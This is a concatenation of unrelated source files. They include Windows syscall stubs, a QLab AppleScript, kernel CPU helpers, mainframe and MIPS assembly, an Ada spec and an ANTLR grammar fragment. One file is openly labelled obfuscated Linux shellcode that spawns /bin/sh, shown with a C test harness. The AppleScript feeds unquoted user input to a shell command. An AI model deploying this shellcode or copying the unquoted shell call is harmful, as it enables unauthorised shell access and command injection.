mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtAccessCheckByTypeResultListAndAuditAlarm ENDP
; ULONG __stdcall NtAccessCheckByTypeResultList( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 );
_10_0_15063_sp0_windows_10_rs2_1703_NtAccessCheckByTypeResultList PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD
mov eax , 447
call _label_sysenter
ret 44
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtAccessCheckByTypeResultList ENDP
; ULONG __stdcall NtAccessCheckByTypeAndAuditAlarm( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 , ULONG arg_13 , ULONG arg_14 , ULONG arg_15 , ULONG arg_16 );
_10_0_15063_sp0_windows_10_rs2_1703_NtAccessCheckByTypeAndAuditAlarm PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD , arg_13:DWORD , arg_14:DWORD , arg_15:DWORD , arg_16:DWORD
mov eax , 448
call _label_sysenter
ret 64
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtAccessCheckByTypeAndAuditAlarm ENDP
; ULONG __stdcall NtAccessCheckByType( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 );
_10_0_15063_sp0_windows_10_rs2_1703_NtAccessCheckByType PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD
mov eax , 449
call _label_sysenter
ret 44
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtAccessCheckByType ENDP
; ULONG __stdcall NtAccessCheckAndAuditAlarm( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 );
_10_0_15063_sp0_windows_10_rs2_1703_NtAccessCheckAndAuditAlarm PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD
mov eax , 450
call _label_sysenter
ret 44
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtAccessCheckAndAuditAlarm ENDP
; ULONG __stdcall NtSetInformationSymbolicLink( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetInformationSymbolicLink PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 451
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetInformationSymbolicLink ENDP
; ULONG __stdcall NtCreateRegistryTransaction( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateRegistryTransaction PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 452
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateRegistryTransaction ENDP
; ULONG __stdcall NtOpenRegistryTransaction( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenRegistryTransaction PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 453
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtOpenRegistryTransaction ENDP
; ULONG __stdcall NtCommitRegistryTransaction( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCommitRegistryTransaction PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 454
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCommitRegistryTransaction ENDP
; ULONG __stdcall NtRollbackRegistryTransaction( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtRollbackRegistryTransaction PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 455
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtRollbackRegistryTransaction ENDP
|
Cue Lists/Add new section heading.applescript | bsmith96/Qlab-Scripts | 1 | 1830 | -- @description Add new section heading
-- @author <NAME>
-- @link bensmithsound.uk
-- @version 1.0
-- @testedmacos 10.14.6
-- @testedqlab 4.6.10
-- @about Adds a memo marker, and a "go-to" cue in the group above to skip it in the cue stack
-- @separateprocess TRUE
-- @changelog
-- v1.0 + init
-- USER DEFINED VARIABLES -----------------
try -- if global variables are given when this script is called by another, use those variables
userColor
on error
set userColor to "coral"
end try
---------- END OF USER DEFINED VARIABLES --
-- VARIABLES FROM QLAB NOTES --------------
------------------ END OF QLAB VARIABLES --
property util : script "Applescript Utilities"
---- RUN SCRIPT ---------------------------
tell application id "com.figure53.Qlab.4" to tell front workspace
try
-- save current selection
set currentCue to last item of (selected as list)
-- check if the current selection is top level, or within a group
set currentTopLevel to my getTopLevel(currentCue)
set lastCueBeforeMarker to my getTopLevel(cue before currentTopLevel)
end try
-- ask for section name
set sectionName to text returned of (display dialog "What title would you like to use for this section?" with title "Section Name" default answer "")
-- make memo cue
try
set selected to lastCueBeforeMarker
end try
make type "memo"
set newCue to last item of (selected as list)
set q color of newCue to userColor
set q name of newCue to (do shell script "echo " & sectionName & " | tr [:lower:] [:upper:]")
try
-- make goTo cue, to skip the section heading
set selected to lastCueBeforeMarker
make type "goTo"
set goToCue to last item of (selected as list)
move cue id (uniqueID of goToCue) of parent of goToCue to end of lastCueBeforeMarker
set cue target of goToCue to currentTopLevel
-- return to original selection
set selected to currentCue
end try
end tell
-- FUNCTIONS ------------------------------
on getTopLevel(theCue)
tell application id "com.figure53.Qlab.4" to tell front workspace
if q type of (parent of theCue) is "cue list" then
return theCue
else
my getTopLevel(parent of theCue)
end if
end tell
end getTopLevel
|
kernel/lib/a32/cpu.asm | Tiihala/Dancy | 11 | 94930 | ;;
;; Copyright (c) 2019, 2020, 2021 <NAME>
;;
;; Permission to use, copy, modify, and/or distribute this software for any
;; purpose with or without fee is hereby granted, provided that the above
;; copyright notice and this permission notice appear in all copies.
;;
;; THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
;; WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
;; MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
;; ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
;; WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
;; ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
;; OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
;;
;; lib/a32/cpu.asm
;; Miscellaneous assembly functions (32-bit)
;;
bits 32
section .text
global _cpu_id
global _cpu_halt
global _cpu_ints
global _cpu_invlpg
global _cpu_wbinvd
global _cpu_rdtsc
global _cpu_rdtsc_delay
global _cpu_rdtsc_diff
global _cpu_rdmsr
global _cpu_wrmsr
global _cpu_add32
global _cpu_sub32
global _cpu_in8
global _cpu_in16
global _cpu_in32
global _cpu_out8
global _cpu_out16
global _cpu_out32
global _cpu_read8
global _cpu_read16
global _cpu_read32
global _cpu_read64
global _cpu_read_cr0
global _cpu_read_cr2
global _cpu_read_cr3
global _cpu_read_cr4
global _cpu_read_flags
global _cpu_write8
global _cpu_write16
global _cpu_write32
global _cpu_write64
global _cpu_write_cr0
global _cpu_write_cr2
global _cpu_write_cr3
global _cpu_write_cr4
global _cpu_xchg
align 16
; void cpu_id(uint32_t *a, uint32_t *c, uint32_t *d, uint32_t *b)
_cpu_id:
push ebx ; save register ebx
push esi ; save register esi
mov esi, [esp+12] ; esi = a
mov eax, [esi] ; eax = *a
mov esi, [esp+16] ; esi = c
mov ecx, [esi] ; ecx = *c
mov esi, [esp+20] ; esi = d
mov edx, [esi] ; edx = *d
mov esi, [esp+24] ; esi = b
mov ebx, [esi] ; ebx = *b
cpuid ; cpu identification
mov esi, [esp+12] ; esi = a
mov [esi], eax ; *a = eax
mov esi, [esp+16] ; esi = c
mov [esi], ecx ; *c = ecx
mov esi, [esp+20] ; esi = d
mov [esi], edx ; *d = edx
mov esi, [esp+24] ; esi = b
mov [esi], ebx ; *b = ebx
pop esi ; restore register esi
pop ebx ; restore register ebx
ret
align 16
; void cpu_halt(uint32_t counter)
_cpu_halt:
mov ecx, [esp+4] ; ecx = counter
call __serialize_execution ; (registers preserved)
test ecx, ecx ; zero is infinite
jnz short .spin2
.spin1: hlt ; halt instruction
jmp short .spin1
.spin2: hlt ; halt instruction
dec ecx ; decrement counter
jnz short .spin2
ret
align 16
; int cpu_ints(int enable)
_cpu_ints:
pushfd ; push eflags
mov eax, [esp] ; eax = eflags
and eax, 0x00000200 ; eax = current interrupt flag << 9
shr eax, 9 ; eax = current interrupt flag
or dword [esp], 0x00000200 ; set interrupt flag
cmp dword [esp+8], 0 ; check input
jne short .end
xor dword [esp], 0x00000200 ; clear interrupt flag
.end: popfd ; pop eflags
ret
align 16
; void cpu_invlpg(const void *address)
_cpu_invlpg:
mov ecx, [esp+4] ; ecx = address
invlpg [ecx] ; invalidate tlb entry
ret
align 16
; void cpu_wbinvd(void)
_cpu_wbinvd:
wbinvd ; write back and invalidate cache
ret
align 16
; void cpu_rdtsc(uint32_t *a, uint32_t *d)
_cpu_rdtsc:
rdtsc ; read time-stamp counter
mov ecx, [esp+4] ; ecx = a
mov [ecx], eax ; *a = eax
mov ecx, [esp+8] ; ecx = d
mov [ecx], edx ; *d = edx
ret
align 16
; void cpu_rdtsc_delay(uint32_t a, uint32_t d)
_cpu_rdtsc_delay:
push ebx ; save register ebx
test dword [esp+12], 0x80000000 ; test highest bit (input d)
jnz short .end
rdtsc ; read time-stamp counter
mov ecx, eax ; ecx = counter (low dword)
mov ebx, edx ; ebx = counter (high dword)
.spin: rdtsc ; read time-stamp counter
sub eax, ecx ; eax = difference (low dword)
sbb edx, ebx ; edx = difference (high dword)
sub eax, [esp+8] ; compare to input a
sbb edx, [esp+12] ; compare to input d
jc short .spin
.end: pop ebx ; restore register ebx
ret
align 16
; void cpu_rdtsc_diff(uint32_t *a, uint32_t *d)
_cpu_rdtsc_diff:
rdtsc ; read time-stamp counter
mov ecx, [esp+4] ; ecx = a
sub eax, [ecx] ; eax -= *a
mov [ecx], eax ; *a = eax
mov ecx, [esp+8] ; ecx = d
sbb edx, [ecx] ; edx -= *d
mov [ecx], edx ; *d = edx
ret
align 16
; void cpu_rdmsr(uint32_t msr, uint32_t *a, uint32_t *d)
_cpu_rdmsr:
mov ecx, [esp+4] ; ecx = model specific register
rdmsr ; read the register
mov ecx, [esp+8] ; ecx = a
mov [ecx], eax ; *a = eax
mov ecx, [esp+12] ; ecx = d
mov [ecx], edx ; *d = edx
ret
align 16
; void cpu_wrmsr(uint32_t msr, uint32_t a, uint32_t d)
_cpu_wrmsr:
mov ecx, [esp+4] ; ecx = model specific register
mov eax, [esp+8] ; eax = a
mov edx, [esp+12] ; edx = d
wrmsr ; write the register
ret
align 16
; uint32_t cpu_add32(void *address, uint32_t value)
_cpu_add32:
push ebx ; save register ebx
mov ebx, [esp+8] ; ebx = address
mov edx, [esp+12] ; edx = value
.L1: mov eax, [ebx] ; eax = *((uint32_t *)address)
mov ecx, eax ; ecx = current
add ecx, edx ; ecx = current + value
lock cmpxchg [ebx], ecx ; try to update
jnz short .L1 ; retry if needed
mov eax, ecx ; eax = latest value
pop ebx ; restore register ebx
ret
align 16
; uint32_t cpu_sub32(void *address, uint32_t value)
_cpu_sub32:
push ebx ; save register ebx
mov ebx, [esp+8] ; ebx = address
mov edx, [esp+12] ; edx = value
.L1: mov eax, [ebx] ; eax = *((uint32_t *)address)
mov ecx, eax ; ecx = current
sub ecx, edx ; ecx = current - value
lock cmpxchg [ebx], ecx ; try to update
jnz short .L1 ; retry if needed
mov eax, ecx ; eax = latest value
pop ebx ; restore register ebx
ret
align 16
; uint8_t cpu_in8(uint16_t port)
_cpu_in8:
mov edx, [esp+4] ; dx = port
in al, dx ; input from port
and eax, 0xFF ; clear upper bits
ret
align 16
; uint16_t cpu_in16(uint16_t port)
_cpu_in16:
mov edx, [esp+4] ; dx = port
in ax, dx ; input from port
and eax, 0xFFFF ; clear upper bits
ret
align 16
; uint32_t cpu_in32(uint16_t port)
_cpu_in32:
mov edx, [esp+4] ; dx = port
in eax, dx ; input from port
ret
align 16
; void cpu_out8(uint16_t port, uint8_t value)
_cpu_out8:
mov edx, [esp+4] ; dx = port
mov eax, [esp+8] ; al = value
out dx, al ; output to port
ret
align 16
; void cpu_out16(uint16_t port, uint16_t value)
_cpu_out16:
mov edx, [esp+4] ; dx = port
mov eax, [esp+8] ; ax = value
out dx, ax ; output to port
ret
align 16
; void cpu_out32(uint16_t port, uint32_t value)
_cpu_out32:
mov edx, [esp+4] ; dx = port
mov eax, [esp+8] ; eax = value
out dx, eax ; output to port
ret
align 16
; uint8_t cpu_read8(const void *address)
_cpu_read8:
mov ecx, [esp+4] ; ecx = address
call __serialize_execution ; (registers preserved)
mov al, [ecx] ; al = value
and eax, 0xFF ; clear upper bits
ret
align 16
; uint16_t cpu_read16(const void *address)
_cpu_read16:
mov ecx, [esp+4] ; ecx = address
call __serialize_execution ; (registers preserved)
mov ax, [ecx] ; ax = value
and eax, 0xFFFF ; clear upper bits
ret
align 16
; uint32_t cpu_read32(const void *address)
_cpu_read32:
mov ecx, [esp+4] ; ecx = address
call __serialize_execution ; (registers preserved)
mov eax, [ecx] ; eax = value
ret
align 16
; uint64_t cpu_read64(const void *address)
_cpu_read64:
mov ecx, [esp+4] ; ecx = address
call __serialize_execution ; (registers preserved)
mov eax, [ecx+0] ; eax = value (low dword)
mov edx, [ecx+4] ; edx = value (high dword)
ret
align 16
; cpu_native_t cpu_read_cr0(void)
_cpu_read_cr0:
mov eax, cr0 ; eax = control register cr0
ret
align 16
; cpu_native_t cpu_read_cr2(void)
_cpu_read_cr2:
mov eax, cr2 ; eax = control register cr2
ret
align 16
; cpu_native_t cpu_read_cr3(void)
_cpu_read_cr3:
mov eax, cr3 ; eax = control register cr3
ret
align 16
; cpu_native_t cpu_read_cr4(void)
_cpu_read_cr4:
mov eax, cr4 ; eax = control register cr4
ret
align 16
; cpu_native_t cpu_read_flags(void)
_cpu_read_flags:
pushfd ; push eflags
pop eax ; eax = eflags
ret
align 16
; void cpu_write8(void *address, uint8_t value)
_cpu_write8:
mov ecx, [esp+4] ; ecx = address
mov dl, [esp+8] ; dl = value
call __serialize_execution ; (registers preserved)
mov [ecx], dl ; write
call __serialize_execution ; (registers preserved)
ret
align 16
; void cpu_write16(void *address, uint16_t value)
_cpu_write16:
mov ecx, [esp+4] ; ecx = address
mov dx, [esp+8] ; dx = value
call __serialize_execution ; (registers preserved)
mov [ecx], dx ; write
call __serialize_execution ; (registers preserved)
ret
align 16
; void cpu_write32(void *address, uint32_t value)
_cpu_write32:
mov ecx, [esp+4] ; ecx = address
mov edx, [esp+8] ; edx = value
call __serialize_execution ; (registers preserved)
mov [ecx], edx ; write
call __serialize_execution ; (registers preserved)
ret
align 16
; void cpu_write64(void *address, uint64_t value)
_cpu_write64:
mov ecx, [esp+4] ; ecx = address
mov eax, [esp+8] ; eax = value (low dword)
mov edx, [esp+12] ; edx = value (high dword)
call __serialize_execution ; (registers preserved)
mov [ecx+0], eax ; write (low dword)
mov [ecx+4], edx ; write (high dword)
call __serialize_execution ; (registers preserved)
ret
align 16
; void cpu_write_cr0(cpu_native_t value)
_cpu_write_cr0:
mov ecx, [esp+4] ; ecx = value
mov cr0, ecx ; cr0 = value
ret
align 16
; void cpu_write_cr2(cpu_native_t value)
_cpu_write_cr2:
mov ecx, [esp+4] ; ecx = value
mov cr2, ecx ; cr2 = value
ret
align 16
; void cpu_write_cr3(cpu_native_t value)
_cpu_write_cr3:
mov ecx, [esp+4] ; ecx = value
mov cr3, ecx ; cr3 = value
ret
align 16
; void cpu_write_cr4(cpu_native_t value)
_cpu_write_cr4:
mov ecx, [esp+4] ; ecx = value
mov cr4, ecx ; cr4 = value
ret
align 16
; cpu_native_t cpu_xchg(cpu_native_t *address, cpu_native_t value)
_cpu_xchg:
mov ecx, [esp+4] ; ecx = address
mov eax, [esp+8] ; eax = value
xchg [ecx], eax ; exchange memory with register
ret
align 16
; Internal procedure for serializing instruction execution
;
; All registers are preserved.
__serialize_execution:
push eax ; save register eax
push ecx ; save register ecx
push edx ; save register edx
push ebx ; save register ebx
xor eax, eax ; eax = 0
cpuid ; serializing instruction
pop ebx ; restore register ebx
pop edx ; restore register edx
pop ecx ; restore register ecx
pop eax ; restore register eax
ret
|
Linux/ObfuscatedExecve.asm | EgeBalci/Shellcode | 2 | 162520 | Obfuscated Execve /bin/sh Shellcode
Greetz : Bomberman&T-Rex
Author : B3mB4m
Tested On : Ubuntu 14.04
/* Working on SLAE & SPSE <3 */
Disassembly of section .text:
08048060 <.text>:
8048060: eb 10 jmp 0x8048072
8048062: 5e pop %esi
8048063: 31 c9 xor %ecx,%ecx
8048065: b1 2c mov $0x2c,%cl
8048067: 80 36 aa xorb $0xaa,(%esi)
804806a: 80 36 fa xorb $0xfa,(%esi)
804806d: 46 inc %esi
804806e: e2 f7 loop 0x8048067
8048070: eb 05 jmp 0x8048077
8048072: e8 eb ff ff ff call 0x8048062
8048077: bb 40 0e 61 99 mov $0x99610e40,%ebx
804807c: e1 45 loope 0x80480c3
804807e: d0 66 fa shlb -0x6(%esi)
8048081: d0 66 af shlb -0x51(%esi)
8048084: 16 push %ss
8048085: b2 a7 mov $0xa7,%dl
8048087: bb 55 b8 bb af mov $0xafbbb855,%ebx
804808c: af scas %es:(%edi),%eax
804808d: af scas %es:(%edi),%eax
804808e: 34 c5 xor $0xc5,%al
8048090: 55 push %ebp
8048091: 6d insl (%dx),%es:(%edi)
8048092: 2a 2a sub (%edx),%ch
8048094: 76 6d jbe 0x8048103
8048096: 6d insl (%dx),%es:(%edi)
8048097: 2a 67 6c sub 0x6c(%edi),%ah
804809a: 6b 8c e6 8c c7 b5 0e imul $0xffffffc8,0xeb5c78c(%esi,%eiz,8),%ecx
80480a1: c8
80480a2: 85 .byte 0x85
#include <stdio.h>
#include <string.h>
unsigned char obfucusted[] = \
"\xeb\x10\x5e\x31\xc9\xb1\x2c\x80\x36\xaa\x80\x36\xfa\x46\xe2\xf7\xeb\x05\xe8\xeb\xff\xff\xff\xbb\x40\x0e\x61\x99\xe1\x45\xd0\x66\xfa\xd0\x66\xaf\x16\xb2\xa7\xbb\x55\xb8\xbb\xaf\xaf\xaf\x34\xc5\x55\x6d\x2a\x2a\x76\x6d\x6d\x2a\x67\x6c\x6b\x8c\xe6\x8c\xc7\xb5\x0e\xc8\x85";
main(){
printf("Shellcode Length: %d\n", strlen(obfucusted));
int (*ret)() = (int(*)())code;
ret();}
|
ispw/src/test/demo-workspace/rjk2/ASM/TRIRPTA.asm | david-kennedy/vscode-ispw | 5 | 4018 | <reponame>david-kennedy/vscode-ispw
TRIRPTA CSECT
R1 EQU 1
R2 EQU 2
R3 EQU 3
R5 EQU 5
R6 EQU 6
R11 EQU 11
R12 EQU 12
R13 EQU 13
R14 EQU 14
R15 EQU 15
USING *,R15
********************************************************
SETUP EQU * *
STM R14,R12,12(R13) * SAVE REGISTERS
LR R12,R15 *
DROP R15 * OPEN UP
USING TRIRPTA,R12 *
LA R11,SAVEAREA *
ST R13,4(R11) * CHAIN SAVE AREAS
ST R11,8(R13) *
LR R13,R11 *
********************************************************
********* START INSTRUCTIONS ************************
START EQU *
L R2,0(R1) POINT TO PARAMETER LIST
LR R6,R2 SAVE ADDRESS IN R6
LA R3,TRI1 POINT R3 TO TITLES
LA R5,4 SET COUNTER IN R5
USING TYPES,R2 SET ADDRESS FOR DSECT
OPEN (OUTDCB,OUTPUT) OPEN OUTPUT FILE
PUT OUTDCB,TITLE WRITE TITLE
PUT OUTDCB,BLANK WRITE BLANK LINE
BLDLINE MVC NUMBER,PATTERN MOVE EDIT PATTERN TO NUMBER
ED NUMBER,0(R2) SET # OF TRIANGLES
MVC TRITYP,0(R3) MOVE TITLE TO PRINTLN
PRINT PUT OUTDCB,PRINTLN PRINT PRINTLN
LA R2,2(,R2) BUMP POINTER TO NEXT TYPE
LA R3,33(,R3) BUMP POINTER TO NEXT TITLE
MVC NUMBER,=XL2'F0' ZERO OUT FIELD
GOBACK BCT R5,BLDLINE DO IT AGAIN
PUT OUTDCB,BLANK WRITE BLANK LINE
LR R2,R6 POINT R2 TO PARAMETER LIST
AP TYPEI,TYPEII SUM # OF TRIANGLES
AP TYPEI,TYPEIII "
AP TYPEI,TYPEIV "
MVC NUMBER,PATTERN MOVE EDIT PATTERN TO NUMBER
ED NUMBER,0(R2) SET # OF TRIANGLES
MVC TRITYP,0(R3) MOVE TITLE TO PRINTLN
PUT OUTDCB,PRINTLN PRINT PRINTLN
CLOSE OUTDCB CLOSE OUTPUT FILE
********* END INSTRUCTIONS ************************
********************************************************
SR R15,R15 *
L R13,4(R13) *
LM R14,R12,12(R13) * CLOSE UP
BR R14 *
********************************************************
********* DEFINITIONS ******************************
********************************************************
SAVEAREA DS 0D
DC 72X'0'
********* DEFINITIONS **************************
********************************************************
OUTDCB DCB DSORG=PS,MACRF=(PM),DDNAME=OUTFILE, X
RECFM=FB,LRECL=80
********************************************************
TITLE DC CL33' *** TRIANGLE REPORT ***'
BLANK DC 80C' '
TRI1 DC CL33'EQUILATERAL TRIANGLES'
TRI2 DC CL33'ISOSCELES TRIANGLES '
TRI3 DC CL33'SCALENE TRIANGLES '
TRI4 DC CL33'INVALID TRIANGLES '
TRI#S DC CL33'INPUT RECORDS '
PRINTLN DS 0CL80
DC CL11'NUMBER OF '
TRITYP DC CL33' '
NUMBER DC ZL4'0'
DC CL34' '
PATTERN DC XL4'40202120'
********************************************************
TYPES DSECT
DS 0CL6
TYPEI DS PL2
TYPEII DS PL2
TYPEIII DS PL2
TYPEIV DS PL2
END TRIRPTA |
programs/oeis/234/A234041.asm | jmorken/loda | 1 | 240548 | ; A234041: a(n) = binomial(n+2,2)*gcd(n,3)/3, n >= 0.
; 1,1,2,10,5,7,28,12,15,55,22,26,91,35,40,136,51,57,190,70,77,253,92,100,325,117,126,406,145,155,496,176,187,595,210,222,703,247,260,820,287,301,946,330,345,1081,376,392,1225,425,442,1378,477,495,1540,532,551,1711,590,610,1891,651,672,2080,715,737,2278,782,805,2485,852,876,2701,925,950,2926,1001,1027,3160,1080,1107,3403,1162,1190,3655,1247,1276,3916,1335,1365,4186,1426,1457,4465,1520,1552,4753,1617,1650,5050,1717,1751,5356,1820,1855,5671,1926,1962,5995,2035,2072,6328,2147,2185,6670,2262,2301,7021,2380,2420,7381,2501,2542,7750,2625,2667,8128,2752,2795,8515,2882,2926,8911,3015,3060,9316,3151,3197,9730,3290,3337,10153,3432,3480,10585,3577,3626,11026,3725,3775,11476,3876,3927,11935,4030,4082,12403,4187,4240,12880,4347,4401,13366,4510,4565,13861,4676,4732,14365,4845,4902,14878,5017,5075,15400,5192,5251,15931,5370,5430,16471,5551,5612,17020,5735,5797,17578,5922,5985,18145,6112,6176,18721,6305,6370,19306,6501,6567,19900,6700,6767,20503,6902,6970,21115,7107,7176,21736,7315,7385,22366,7526,7597,23005,7740,7812,23653,7957,8030,24310,8177,8251,24976,8400,8475,25651,8626,8702,26335,8855,8932,27028,9087,9165,27730,9322,9401,28441,9560,9640,29161,9801,9882,29890,10045,10127,30628,10292,10375,31375
mov $2,3
gcd $2,$0
add $0,1
mul $2,$0
mul $0,$2
mov $1,$0
add $1,$2
div $1,6
|
bachelor/computer-systems/Mars/9.asm | Brent-rb/University | 0 | 84246 | <reponame>Brent-rb/University<gh_stars>0
####################################################################
.data
#<Hier komen de gegevensdeclaraties>
askchar:
.asciiz "Geef een character in: "
newline:
.asciiz "\n"
gelijk:
.asciiz "\nDe letter is in de zin gevonden.\n"
verschillend:
.asciiz "\nDe letter is niet in de zin gevonden.\n"
testzin:
.asciiz "Dit is een testzin.\n"
###################### Code Segment ################################
.text
.globl main
main:
li $v0, 4
la $a0, askchar
syscall
li $v0, 12
syscall
move $a0, $v0
la $a1, testzin
li $a2, 20
jal countChars
beq $v0, -1, print_verschillend
b print_gelijk
main_end:
li $v0, 10
syscall
print_gelijk:
move $t0, $v0
li $v0, 1
move $a0, $t0
syscall
b main_end
print_verschillend:
li $v0, 4
la $a0, verschillend
syscall
b main_end
#############################################################
#Subroutines#
#############################################################
checkChars:
move $t0, $a0
move $t1, $a1
bgt $t0, 90, checkChars_checkT1
blt $t0, 65, checkChars_checkT1
subi $t0, $t0, 65
addi $t0, $t0, 97
checkChars_checkT1:
bgt $t1, 90, checkChars_checkBoth
blt $t1, 65, checkChars_checkBoth
subi $t1, $t1, 65
addi $t1, $t1, 97
checkChars_checkBoth:
beq $t1, $t0, checkChars_equal
b checkChars_different
checkChars_equal:
li $v0, 1
jr $ra
checkChars_different:
li $v0, 0
jr $ra
searchChar:
move $t0, $a1
move $t1, $a2
subi $sp, $sp, 4
sw $ra, ($sp)
searchChar_loop:
beqz $t1, searchChar_noFound
lbu $a1, ($t0)
subi $sp, $sp, 4
sw $t0, ($sp)
subi $sp, $sp, 4
sw $t1, ($sp)
jal checkChars
beq $v0, 1, searchChar_found
lw $t1, ($sp)
subi $t1, $t1, 1
addi $sp, $sp, 4
lw $t0, ($sp)
addi $t0, $t0, 1
addi $sp, $sp, 4
b searchChar_loop
searchChar_noFound:
li $v0, -1
b searchChar_end
searchChar_found:
addi $sp, $sp, 4
lw $v0, ($sp)
addi $sp, $sp, 4
searchChar_end:
lw $ra, ($sp)
addi $sp, $sp, 4
jr $ra
countChars:
move $t0, $a0
move $t1, $a1
move $t2, $a2
move $t4, $t1
li $t3, 0
subi $sp, $sp, 4
sw $ra, ($sp)
countChars_loop:
move $a0, $t0
move $a1, $t4
move $a2, $t2
subi $sp, $sp, 4
sw $t0, ($sp)
subi $sp, $sp, 4
sw $t1, ($sp)
subi $sp, $sp, 4
sw $t2, ($sp)
subi $sp, $sp, 4
sw $t3, ($sp)
jal searchChar
lw $t3, ($sp)
addi $sp, $sp, 4
lw $t2, ($sp)
addi $sp, $sp, 4
lw $t1, ($sp)
addi $sp, $sp, 4
lw $t0, ($sp)
addi $sp, $sp, 4
beq $v0, -1, countChars_end
addi $t3, $t3, 1
sub $t5, $v0, $t1
sub $t2, $t2, $t5
subi $t2, $t2, 1
addi $t4, $v0, 1
b countChars_loop
countChars_end:
addi $v0, $t3, 0
lw $ra, ($sp)
addi $sp, $sp, 4
jr $ra
|
src/yaml-abstract_object.ads | sparre/aYAML | 2 | 21944 | <filename>src/yaml-abstract_object.ads
package YAML.Abstract_Object is
type Instance is abstract tagged null record;
subtype Class is Instance'Class;
function Get (Item : in Instance;
Name : in String) return Class is abstract;
function Get (Item : in Instance;
Index : in Positive) return Class is abstract;
function Get (Item : in Instance;
Name : in String) return String is abstract;
function Get (Item : in Instance;
Index : in Positive) return String is abstract;
function Get (Item : in Instance;
Name : in String;
Default : in String) return String is abstract;
function Get (Item : in Instance;
Index : in Positive;
Default : in String) return String is abstract;
function Has (Item : in Instance;
Name : in String) return Boolean is (False);
function Has (Item : in Instance;
Index : in Positive) return Boolean is (False);
end YAML.Abstract_Object;
|
chocopyInt/grammar/Chocopy.g4 | jjpulidos/Programming-Languages-2020 | 1 | 6889 | grammar Chocopy;
tokens { INDENT, DEDENT }
@lexer::members {
// A queue where extra tokens are pushed on (see the NEWLINE lexer rule).
private java.util.LinkedList<Token> tokens = new java.util.LinkedList<>();
// The stack that keeps track of the indentation level.
private java.util.Stack<Integer> indents = new java.util.Stack<>();
// The amount of opened braces, brackets and parenthesis.
private int opened = 0;
// The most recently produced token.
private Token lastToken = null;
@Override
public void emit(Token t) {
super.setToken(t);
